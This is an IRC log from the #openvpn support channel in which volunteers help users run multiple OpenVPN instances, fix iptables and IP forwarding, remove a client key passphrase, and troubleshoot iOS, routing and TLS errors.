08:37 -!- sw [~email@unaffiliated/sw] has joined #openvpn
08:54 -!- davidmp [~davidmp@149.255.100.107] has quit [Ping timeout: 245 seconds]
08:55 -!- davidmp [~davidmp@149.255.100.107] has joined #openvpn
09:01 -!- Jaska__ [~Q@gprs-internet-bcee37-38.dhcp.inet.fi] has joined #openvpn
09:01 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 240 seconds]
09:01 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 240 seconds]
09:02 -!- Semor [~Semor@218.106.182.104] has quit [Read error: Connection reset by peer]
09:02 -!- Semor [~Semor@218.106.182.104] has joined #openvpn
09:02 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
09:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:25 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Quit: Leaving]
09:31 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
09:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:49 -!- Ahrotahntee [~rhjones@unaffiliated/ahrotahntee] has quit [Quit: something clever?]
09:54 -!- Semor [~Semor@218.106.182.104] has quit [Read error: Connection reset by peer]
10:00 -!- Semor [~Semor@218.106.182.104] has joined #openvpn
10:28 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
10:28 -!- takamichi [~takamichi@141.255.164.77] has joined #openvpn
10:54 -!- takamichi [~takamichi@141.255.164.77] has quit [Ping timeout: 272 seconds]
10:55 -!- BtbN [znc@btbn.de] has quit [Quit: Bye]
10:57 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
10:57 -!- BtbN [znc@btbn.de] has joined #openvpn
11:01 -!- sw [~email@unaffiliated/sw] has left #openvpn ["Leaving"]
11:04 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
11:07 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
11:07 -!- master_of_master [~master_of@p4FD7BA65.dip0.t-ipconnect.de] has joined #openvpn
11:11 -!- master_o1_master [~master_of@p4FD7BEFC.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
11:26 -!- Denial [Denial@2.223.161.125] has quit []
11:43 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Read error: Connection reset by peer]
12:13 -!- piece3_ [~quassel@14.161.15.21] has joined #openvpn
12:15 -!- piece3 [~quassel@14.161.15.21] has quit [Ping timeout: 272 seconds]
12:19 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
12:26 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 264 seconds]
12:38 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
12:44 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Read error: Connection reset by peer]
12:45 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
12:59 -!- Matviy [~Matviy@108-225-189-45.lightspeed.sntcca.sbcglobal.net] has quit []
13:05 -!- markus_ [~markus@mirkk.vpntunnel.com] has quit [Ping timeout: 245 seconds]
13:05 -!- markus_ [~markus@mirkk.vpntunnel.com] has joined #openvpn
13:14 -!- FriedZombie_ [SilverNet@unaffiliated/friedzombie] has joined #openvpn
13:15 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Disconnected by services]
13:18 -!- FriedZombie_ [SilverNet@unaffiliated/friedzombie] has quit [Ping timeout: 240 seconds]
13:32 -!- NP-Hardass [~adam@unaffiliated/np-hardass] has joined #openvpn
13:32 -!- NEone [~NEone@unaffiliated/neone] has joined #openvpn
13:34 -!- NP-Hardass [~adam@unaffiliated/np-hardass] has quit [Client Quit]
13:34 < NEone> Hi. How many clients can simultaneously connect to a openvpn server without having performance issues? It's running on a physical dedicated server with 6 Intel cores, 3.2GHz each.
13:35 -!- NP-Hardass [~adam@unaffiliated/np-hardass] has joined #openvpn
13:37 <+pekster> NEone: Depends more on how you load it; I fairly easily connected 1k clients to fairly low end (by today's standards) 32-bit no-AES-NI server, but that was under no load
13:37 <+pekster> NEone: Generally the bottleneck is the crypto; get AES-NI supported hardware if you want to offload that to the hardware crypto, provided your openssl supports it; obviously you need to use AES symmetric crypto for that
13:38 < NEone> I have set AES256-CBC encryption. And the load will be browsing one particular HTML5 site I do have on another dedicated server at the same hoster. That page contains a lot of high-res graphics.
13:39 <+pekster> "graphics" has zero at all to do with openvpn
13:39 <+pekster> OpenVPN cares not what IP data you send over it
13:40 <+pekster> You'll generally have better CPU-based crypto with Blowfish (BF)
13:40 <+pekster> That, and your 6 cores are worthless since openvpn is single-threaded; you can run multiple instances and do some clever load balancing of incoming client connections though
13:41 < NEone> Is BF less secure than AES256-CBC?
13:42 <+pekster> Neither is cryptographically broken, no
13:42 <+pekster> Wikipedia has cryptanalysis if you want research links, or $yourFavouriteSearchEngine
13:43 < NEone> Ok, so I'll change to that. Seems I'll have to stick with cpu-based crypto, it is unlikely that I can buy and install crypto hardware there.
13:43 < NEone> How to install multiple openvpn server instances?
13:43 <+pekster> You don't "install" them -- you run them.
13:44 <+pekster> `for x in $(seq 1 6); do openvpn --config /etc/openvpn/server-instance${x} &; done`
13:44 <+pekster> Best to do that out of your distro init; that's up to you
13:44 < NP-Hardass> NEone: what distro?
13:45 < NEone> So it's the same binary files and paths and I just run multiple times "openvpn", but with different configfiles as a commandlineparameter, right?
13:45 < NEone> Ubuntu 12.04 64-bit
13:45 -!- stemid [~avatar@ns4.sydit.se] has left #openvpn []
13:50 < NEone> Doing a "ps ax" I see with what commandlineparameters my openvpn instance has been started by the OS. But that line is so loooong, it's cut off inside my SSH window:( Can I tell the system to CR/LF those anwers, instead of just cutting them?
13:50 <@krzee> ps w
13:50 <@krzee> w for wide
13:51 < NEone> I still don't see the full line. Only this:  9895 ?        Ss     0:00 /usr/sbin/openvpn --writepid /var/run/openvpn.server.pid --daemon ovpn-server --cd /etc/openvpn --config /etc/openvpn/serve
13:53 <@krzee> more w's
13:53 <@krzee> (your question is not about openvpn by the way)
13:54 < NEone> True. Sorry. Just figured out I can set "columns" to 256 in my SSH client. Now I see the full line and can get back to the actual openvpn questions:
13:54 < NEone>  9895 ?        Ss     0:00 /usr/sbin/openvpn --writepid /var/run/openvpn.server.pid --daemon ovpn-server --cd /etc/openvpn --config /etc/openvpn/server.conf
13:55 < NEone> Where is that autostart defined? I never did define that by myself, afaik
13:56 < NEone> I plan to run 6 instances, allowing 128 clients each. And will change the encryption to blowfish. Should I be fine with that, or will that still overload/crash my server?
13:58 <@krzee> blowfish is default, and it depends on your server
13:58 <@krzee> each instance will run on its own core
13:58 <@krzee> so for example if you have an 8 core cpu, then for cpu purposes it's no biggie
13:58 <@krzee> also depends how much traffic those clients are transfering
13:59 <@krzee> as for autostart, that has nothing to do with openvpn, check how your distro works
13:59 <@krzee> i believe pekster gave you a command as well
14:01 < NEone> Ok, thanks. You guys helped me a lot. I'll go figure out how those init scripts work in that distro. Seems a bit more complex than dragging an icon to "Autostart" folder in Windowze, lol
14:01 <+pekster> That's not the same thing
14:01 <+pekster> *has X11 startup too, but that's quite different from an OS service
14:02 <+pekster> *nix has*
14:02 <@krzee> ya in windows that would not work for openvpn either, youd need to configure it in services.msc
14:02 <@krzee> unless you were dragging a .bat script which started openvpn
14:03 <+pekster> Still no on that; anything in the ..\Startup\ dir starts on _login_ not OS startup
14:03 <@krzee> true
14:04 < rob0> Windows is not really a server platform, but even so, they have a different interface for starting services than for an end user's "autostart".
14:05 -!- novaflash is now known as novaflash_away
14:05 < NEone> Just asking b4 I break something: Am I supposed to modify the file /etc/init.d/openvpn ?
14:05 <+pekster> As #yourdistro
14:05 <+pekster> Ask*
14:05 < NEone> k
14:06 <+pekster> They each work differently; IIRC Debian/Ubuntu support auto-launching all *.conf files, or specific ones through "upstart"
14:06 <+pekster> Go ask them how it works
14:06 < hjohnson> ...Bad Wolf...
14:10 <@krzee> </big>
14:11 < rob0> Generally not, you would not muck with their init script unless you know exactly what you're doing.
14:14 -!- novaflash_away is now known as novaflash
14:17 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
14:27 < NEone> Is it a bad idea to use UDP ports 1194, 1195, 1196... for my openvpn instances?
14:29 <+pekster> "It's just a port."
14:32 < NEone> Will running multiple instances also mean multiple tun devices, or is it still just tun0 for everything?
14:34 < rob0> yes, one tunX per instance
14:35 < NEone> But that is created automatically, or do I have to create that manually somehow?
14:37 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
14:46 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
14:51 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:03 < NEone> In my old notes I found this line: iptables -I FORWARD -i tun+ -j ACCEPT
15:04 < NEone> I accendentally lost it / forgot it. But NAT still seems to work. So is this needed or not needed?
15:08 <+pekster> That depends more on your ruleset. What you posted is a filter table addition and not directly related to NAT at all
15:08 <+pekster> !netfilter
15:08 <@vpnHelper> "netfilter" is Under Linux, use `iptables-save` to show firewall rulesets (add -c to include counters.) Do not use iptables -L as it is incomplete & often lies. #netfilter is more on-topic for detailed help.
15:42 -!- novaflash is now known as novaflash_away
15:47 -!- novaflash_away is now known as novaflash
15:53 < NEone> Is one single "ifconfig-pool-persist /etc/openvpn/ipp.txt" enough, or should I make a different file for each openvpn server instance individually?
15:55 < rob0> hmm, I doubt they could share that
15:55 <+pekster> NEone: Yes, every dynamic instance will need its own; you probably don't really need ipp anyway
15:55 <+pekster> It's a suggestion by openvpn, not a guarenteed static IP assignment
16:22 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
16:43 < NEone> k, got two instances running and working. First instance writes to ipp01.txt, but second instance just left the ipp02.txt empty. Any idea why the assigned client ips are not written there?
16:43 <+pekster> Have you actually connected a client to that instance?
16:44 < NEone> Question cancelled. It just wrote. Seems to update that file only periodically by a timer. Sorry for bothering.
16:51 <+pekster> Yup, manpage explains why
17:00 -!- NChief [~nchief@unaffiliated/nchief] has quit [Ping timeout: 252 seconds]
17:00 -!- NChief [~nchief@ircimg.net] has joined #openvpn
17:08 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 272 seconds]
17:09 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
17:09 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
17:29 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
17:41 -!- hirogen [~peeepp@94.15.161.107] has joined #openvpn
18:06 -!- Ziber [~Liber@liber.in] has joined #openvpn
18:07 -!- hirogen [~peeepp@94.15.161.107] has quit [Ping timeout: 256 seconds]
18:24 -!- EugeneKay [eugene@clockworkmod.org] has quit [Ping timeout: 245 seconds]
18:29 -!- EugeneKay [~eugene@clockworkmod.org] has joined #openvpn
18:38 -!- EugeneKay [~eugene@clockworkmod.org] has quit [Ping timeout: 245 seconds]
18:41 -!- EugeneKay [~eugene@clockworkmod.org] has joined #openvpn
18:42 -!- u0m3_ [~u0m3@92.80.66.74] has joined #openvpn
18:45 -!- u0m3 [~u0m3@92.80.65.91] has quit [Ping timeout: 252 seconds]
19:01 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
19:01 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
19:05 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
19:05 -!- heraclitus [~heraclitu@ip-static-94-242-252-198.as5577.net] has joined #openvpn
19:05 -!- heraclitus [~heraclitu@ip-static-94-242-252-198.as5577.net] has quit [Changing host]
19:05 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
19:20 -!- hirogen [~peeepp@94.15.161.107] has joined #openvpn
19:22 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:24 -!- TheCommieDuck [~TheCommie@unaffiliated/thecommieduck] has joined #openvpn
19:24 < TheCommieDuck> !welcome
19:24 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder
19:24 <@vpnHelper> !sample !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:25 < TheCommieDuck> Hey. I'm trying to set up my RPi as a vpn client, but when using openvpn vpn.conf it wants a tun/tap device; if using openvpn vpn.conf --dev tun, I get an infinite loop of file descriptor in bad state. Is this an issue with the config file?
19:44 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Ping timeout: 246 seconds]
19:47 < TheCommieDuck> never mind, ran as root. seems fine now.
19:49 < TheCommieDuck> ...doesn't seem to be routing anything, though
20:18 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has joined #openvpn
20:22 < NEone> theCommieDuck: Is the server setup right? firewall/nat setup correctly?
20:27 -!- nick123pig [62dae927@gateway/web/cgi-irc/kiwiirc.com/ip.98.218.233.39] has joined #openvpn
20:28 -!- NEone [~NEone@unaffiliated/neone] has left #openvpn ["Leaving"]
20:28 < nick123pig> Would someone be able to help me troubleshoot a firewall issue? Can connect to vpn, but not getting internet. Somewhat of an iptables noob. Let me know what you need.
20:32 < nick123pig> Here's my iptables
20:32 < nick123pig> Chain INPUT (policy ACCEPT)
20:32 < nick123pig> target     prot opt source               destination
20:32 < nick123pig> ACCEPT     all  --  anywhere             anywhere
20:32 < nick123pig> REJECT     all  --  anywhere             127.0.0.0/8          reject-with icmp-port-unreachable
20:32 < nick123pig> ACCEPT     all  --  anywhere             anywhere             state RELATED,ESTABLISHED
20:32 < nick123pig> ACCEPT     udp  --  anywhere             anywhere             udp dpt:openvpn
20:32 < nick123pig> ACCEPT     tcp  --  anywhere             anywhere             state NEW tcp dpt:ssh
20:32 < nick123pig> ACCEPT     icmp --  anywhere             anywhere
20:32 < nick123pig> LOG        all  --  anywhere             anywhere             limit: avg 5/min burst 5 LOG level debug prefix "iptables denied: "
20:32 < nick123pig> DROP       all  --  anywhere             anywhere
20:32 < nick123pig> Chain FORWARD (policy ACCEPT)
20:33 < nick123pig> target     prot opt source               destination
20:33 < nick123pig> DROP       all  --  anywhere             anywhere
20:33 < nick123pig> Chain OUTPUT (policy ACCEPT)
20:33 < nick123pig> target     prot opt source               destination
20:35 -!- hirogen [~peeepp@94.15.161.107] has quit [Ping timeout: 256 seconds]
20:35 < Ziber> Pastebin please.
20:36 < nick123pig> My apologies; http://pastebin.com/DFV3GNnY
20:45 < nick123pig> it's a pretty standard configuration. I just can't get the traffic from the openvpn server out to the internet
20:57 < nick123pig> The tun interface is inet addr:10.8.0.1  P-t-P:10.8.0.2
21:00 -!- FriedZombie [SilverNet@unaffiliated/friedzombie] has quit [Read error: Connection reset by peer]
21:01 -!- FriedZombie [~FriedZomb@unaffiliated/friedzombie] has joined #openvpn
21:04 -!- nick123pig [62dae927@gateway/web/cgi-irc/kiwiirc.com/ip.98.218.233.39] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
21:04 -!- nick123pig [62dae927@gateway/web/cgi-irc/kiwiirc.com/ip.98.218.233.39] has joined #openvpn
21:05 < nick123pig> Here are the nat rules as well: http://pastebin.com/d3W8CUMP
21:07 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
21:08 -!- michaelhart [~michaelha@162.209.54.120] has quit [Client Quit]
21:11 < nick123pig> any ideas?
21:14 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: So long, and thanks for all the fish. ♫]
21:15 -!- Haxxa [~Harrison@162.243.39.102] has quit [Excess Flood]
21:15 -!- Haxxa [~Harrison@162.243.39.102] has joined #openvpn
21:15 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
21:22 -!- nick123pig [62dae927@gateway/web/cgi-irc/kiwiirc.com/ip.98.218.233.39] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
21:22 -!- nick123pig [62dae927@gateway/web/cgi-irc/kiwiirc.com/ip.98.218.233.39] has joined #openvpn
21:23 -!- nick123pig [62dae927@gateway/web/cgi-irc/kiwiirc.com/ip.98.218.233.39] has quit [Client Quit]
21:24 -!- nick123pig [62dae927@gateway/web/cgi-irc/kiwiirc.com/ip.98.218.233.39] has joined #openvpn
21:25 -!- TheCommieDuck [~TheCommie@unaffiliated/thecommieduck] has quit []
21:26 -!- nick123pig [62dae927@gateway/web/cgi-irc/kiwiirc.com/ip.98.218.233.39] has quit [Client Quit]
21:43 -!- Haxxa [~Harrison@162.243.39.102] has quit [Excess Flood]
21:43 -!- Haxxa [~Harrison@162.243.39.102] has joined #openvpn
22:27 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Excess Flood]
22:27 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
22:27 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds]
22:43 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
22:47 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
22:47 -!- mode/#openvpn [+o vpnHelper] by ChanServ
22:57 -!- acu [~acu@adsl-108-66-57-222.dsl.emhril.sbcglobal.net] has joined #openvpn
23:18 < acu>  /proc/sys/net/ipv4/ip_forward I have a 0 -   if I do ---> echo 1 /proc/sys/net/ipv4/ip_forward ---- 0 becomes 1 and my setup works - I want to make it permanently - I tried two methods -  nano /etc/sysctl.conf and uncommented  net.ipv4.ip_forward=1   --- and reboot the server - but nothing happens - can anyone help ?
23:19 < Ziber> sysctl -p, I think?
23:19 < Ziber> Oh, it should be permanent if you put it in and rebooted.
23:21 < acu> Ziber: that what I want - it works if I do manually echo 1 /etc/..... --- but if I uncoment that in /etc/sysclt.conf - does not work (though the uncomment seem to be there with =1)
23:23 < Ziber> Huh. That seems weird.
23:23 < Ziber> Did you run sysctl -p?
23:25 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
23:26 < Ziber> (That will just apply any differences between sysctl.conf and your /proc/sys/net/ files.)
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 246 seconds]
23:33 < acu> Ziber - no,  I will do it now
23:44 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Sun Nov 24 2013
00:00 < acu> In debian 7.2 I needed to ath in /etc/rc.local a line /etc/init.d/procps restart    - of course I changed - the sysctl.conf before - so now with this two changes I am almost done with VPNclient - I just need to fix the password for client challenge - have to look at yesterday peksters suggestions - it was late - run out of neurons - but that is the last thing I need to do and I have the client running automatically
00:01 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
00:11 -!- Dat [~dat@unaffiliated/dat] has joined #openvpn
00:11 < Dat> Does openvpn work on ipads/iphones?
00:12 < pekster> Dat,
00:12 < pekster> !iphone
00:12 <@vpnHelper> "iphone" is (#1) http://www.zdnet.com/blog/hardware/ubuntu-lucid-lynx-1004-can-read-your-iphones-secrets/8424 <-- be aware of that before putting your keys on an iphone or (#2) OpenVPN is now available for iOS in the App Store or (#3) https://community.openvpn.net/openvpn/wiki/IOSinline
00:12 < pekster> #2
00:13 < pekster> Please be aware that thanks to the NDA associated with Apple development, the software you are installing is "OpenVPN Connect" and a completely separate codebase from the GPL code. It's not community-maintained, but it is openvpn-protocol compatible. See !connect for details
00:14 < acu> pekster: thanks for your help - everything is working - last step on my client - I want to eliminate that human password entrance for the client - yesterday - you suggest - openssl rsa -in x.key -out x.key - what exactly is this doing  ? can it ruin my existing setting ?
00:16 < Dat> thanks
00:16 < acu> OK that decrypts the key - but it keeps the old one I guess
00:18 < pekster> old one?
00:18 < pekster> If the names are different it copies; if not, it overwrites
00:19 < pekster> You can simply re-run the command with the -des3 flag there (or not) to output an encrypted/decrypted key, respectively
00:19 < acu> you told me that yesterday
00:19 < Dat> I guess the only thing I haven't tried in the inline configuration
00:19 < Dat> hrmmm
00:19 < Dat> I'll give that a go t
00:21 < acu> OK - so that client.key is in /etc/openvpn - can I copy it outside and run the command ? so I have the old - encrypted key still available ?
00:25 < pekster> acu: -in and -out are treated quite literally as input and output values; if the input doesn't exist the command fails. If the output is the same as the input the input is replaced by the output
00:27 < acu> did it - I am rebooting the machine - pray hard :)
00:27 < acu> pekster: I asked you yesterday where are you located ?
00:28 < pekster> Midwest, US
00:28 < acu> are you kidding me ?
00:28 < acu> Which state ?
00:29 < pekster> One that borders the fine province of Manitoba
00:29 < Ziber> pekster: Isn't it passed your bedtime? :)
00:29 < Ziber> ...
00:29 < Ziber> s/passed/past
00:29 < Ziber> Maybe it's past my bedtime.
00:31 < acu> OK, so you are in Minnesota or North Dakota (I am not sure whether ND is midwest though )
00:36 < acu> And YES, IT's a VHS !
00:37 < acu> That conversion worked
00:37 < acu> Pekster: do you like "MInnesota Nice ?" LOL
00:37 < pekster> a la Fargo? ;)
00:38 < acu> That's borderline ?
00:38 < hjohnson> except that fargo is in north dakota, not MN
00:38 < pekster> Hush you ;)
00:38 < acu> Is not that in both states ? Let mee googla map it
00:39 < pekster> Fargo/Moorhead are the border sister cities
00:41 < acu> pekster: I got the "joke" with Fargo - the movie was gross
00:41 < pekster> Min-e-soh-tah don-cha-know?
00:42 < acu> we are just a mortal entities into a big evolving biomass - no need to accellerate unhappiness and death - it occurs 100% without mistake - that's the gestalt - rest are trivialities
00:43 < pekster> "Despite the cost of living, have you noticed its popularity?"
00:44 < acu> Yes, Living has great popularity - we want to live forever
00:48 < acu> http://www.youtube.com/watch?v=89m4YoFTZ34
00:48 <@vpnHelper> Title: Who wants to live forever - Queen - Freddie Mercury live - Wembley - Budapest - YouTube (at www.youtube.com)
00:49 < acu> http://www.youtube.com/watch?v=U9ExJESHiNA
00:49 <@vpnHelper> Title: Queen - Who Wants To Live Forever (Live at Wembley 11.07.1986) - YouTube (at www.youtube.com)
00:49 < acu> last is better I think
00:57 < acu> In order to live long - we have to sleep well  - I still have stuff to do - but it seem that the client needs no human intervention - that;s what we want - to kick back and meditate - let the computers work :)
00:57 < acu> Be nice :)
00:57 < acu> Saionara
00:57 -!- acu [~acu@adsl-108-66-57-222.dsl.emhril.sbcglobal.net] has quit [Quit: Leaving]
01:31 -!- calcifea_ [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
01:31 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
01:49 < james41382> Dat: I have installed OpenVPN Connect on my iPhone 4S and it works fine, but it uses the battery considerable quicker than normal. Also worth noting that as of iOS 7.0 I believe you can no longer access the data on an iPhone from Linux. =/ Which is great for people not hacking stolen phones. Not so great for Linux users who own iPhones... heh.
01:51 < Dat> james41382: oh? did you use the inline configuration?
01:51 < Dat> do you also use a .p12 cert?
01:52 < james41382> I don't think it works with .p12 files.. I tried it.
01:52 < Dat> i would need to break it all do into a ca/cert/key
01:53 < james41382> Install the app, then open itunes and go to apps. At the bottom there is an area for apps, where you'll see OpenVPN Connect. You click on that and add the .ovpn files plus the certs to it. Open the app and voila.
01:53 < james41382> s/files/file
01:53 < james41382> Geez it is getting late isn't it...
01:53 < Dat> that almot worked but I got an error
01:54 < james41382> What was the error?
01:54 < Dat> about extended usage in leaf certificate
01:54 < james41382> Hmm.. it worked for me. Though I'm rather inexperienced as I just started using OpenVPN a couple weeks ago. I am unfamiliar with the leaf certificate.
01:54 < Dat> hrmm
01:55 < james41382> I made my certs using easy-rsa..
01:55 < Dat> ahh
01:56 < james41382> I'm using the same client.ovpn files and certs on my phone as on my laptop and it's working fine.
01:56 < Dat> nice i need to get mine workin
01:57 < james41382> Actually I take that back.. I can connect to the vpn and other computers on the lan, but the iphone doesn't configure the routing to go through the vpn back to the internet.
01:57 < james41382> Not like it does on my laptop...
01:58 -!- voxadam [adafdfahfd@67-5-191-250.ptld.qwest.net] has left #openvpn []
01:58 < james41382> I was thinking about setting redirect-gateway to see if that forces the iphone to go through the vpn's gateway to the wan,  but I haven't had time to test it yet..
01:58 < Dat> hrmm that would be fine for me
01:58 < Dat> james41382: I think that wouldd do it
02:02 < james41382> Dat: Yeah I'm hoping so. Okay well I'm going to bed. Have a good night. =]
02:17 < Dat> u to
02:17 < Dat> night
02:31 <@krzee> !learn dnsmasq as http://rob0.nodns4.us/dnsmasq.html for a writeup on how to handle DNS for lans shared with !route
02:31 <@vpnHelper> Joo got it.
02:35 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Read error: Connection reset by peer]
02:35 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
03:02 -!- Dat [~dat@unaffiliated/dat] has left #openvpn []
03:20 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:03 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 264 seconds]
04:05 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
04:08 -!- Bretos [~Bretos@vps.tyborek.pl] has quit [Quit: RUN FOR YOUR LIVES!]
04:09 -!- Bretos [~Bretos@vps.tyborek.pl] has joined #openvpn
04:11 < lazzer> Is it possible to use VLANS over an OpenVPN (TAP) tunnel, i tried to use vconfig to do this, but I have had no luck.
04:42 -!- NermaN [~mir@213.87.104.192] has joined #openvpn
04:42 < NermaN> !welcome
04:42 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
04:42 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
04:43 < NermaN> Can't find full openvpn config description
04:43 < NermaN> with all available options
04:54 < Poster> lazzer: it should be possible in bridge mode
04:56 < Poster> NermaN: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage is a good place to start.  Each startup directive can be placed into a given configuration file or some combination of the two
04:56 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net)
04:58 < NermaN> Poster: Thanks
05:05 < NermaN> is there way to ignore pushed gateway and setting from server on client?
05:08 < NermaN> I find that
05:15 -!- NermaN [~mir@213.87.104.192] has quit [Read error: Connection reset by peer]
05:18 -!- NermaN [~mir@213.87.104.192] has joined #openvpn
05:19 < NermaN> in some reason removing pull from client config does not disable auto-routing
05:19 < NermaN> which i trying to disable
05:22 < Poster> can you elaborate more on what you mean by auto-routing ?
05:27 < NermaN> Poster: i find option route-nopull it is that i search for
05:27 < NermaN> now i has other problem (
05:29 < Poster> ok what is it?
05:29 < NermaN> seems like openvpn client does not work on linux for me
05:29 < NermaN> i checked connection on windows before
05:29 < NermaN> now i use same config for linux
05:29 < NermaN> Bad LZO decompression header byte: 0
05:29 < NermaN> i got this error
05:34 < Poster> https://forums.openvpn.net/topic12037.html
05:34 <@vpnHelper> Title: OpenVPN Support Forum comp-lzo not working? : OpenVPN Connect (iOS) (at forums.openvpn.net)
05:54 -!- Guy- [~korn@elan.rulez.org] has joined #openvpn
05:54 < Guy-> hi
05:55 < Guy-> all of a sudden I'm getting a weird DH error on clients connecting to a specific openvpn server
05:55 < Guy-> TLS_ERROR: BIO read tls_read_plaintext error: error:05066067:Diffie-Hellman routines:COMPUTE_KEY:modulus too large: error:14098005:SSL routines:SSL3_SEND_CLIENT_KEY_EXCHANGE:DH lib
05:55 < Guy-> any idea what could cause this?
06:01 -!- hirogen [~peeepp@94.15.161.107] has joined #openvpn
06:02 < Guy-> hah, solved it
06:02 < Guy-> I had a dh.pem file with too many bits (I don't know how that happened)
06:02 -!- Guy- [~korn@elan.rulez.org] has left #openvpn []
06:12 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
06:24 < NermaN> Poster: is openvpn intellegent enough to not auto give ip's that i setup manually bu per user config
06:38 < lazzer> Poster: It started to work when I upgraded my kernel, 3.0 didn't work, but it worked for me in 3.10
06:42 < pekster> NermaN: "auto give IPs" ? Maybe you want to read !static
06:43 < pekster> NermaN: You are routing, right? Not bridging?
06:47 < NermaN> pekster: yes i'm routing
06:47 < NermaN> !static
06:47 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
06:49 < NermaN> ok i found answer on this
06:49 < NermaN> what it use 10.8.0.5 as first ip?
06:49 < NermaN> where is 10.8.0.2 10.8.0.3
06:51 < pekster> That's the old-style net30 topology
06:52 < pekster> You should really use the subnet topology; net30 is pointless unless you need backwards-compat with Windows <=2.0.9 version (nearly 7 years old now)
07:04 -!- FriedZombie [~FriedZomb@unaffiliated/friedzombie] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
07:06 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
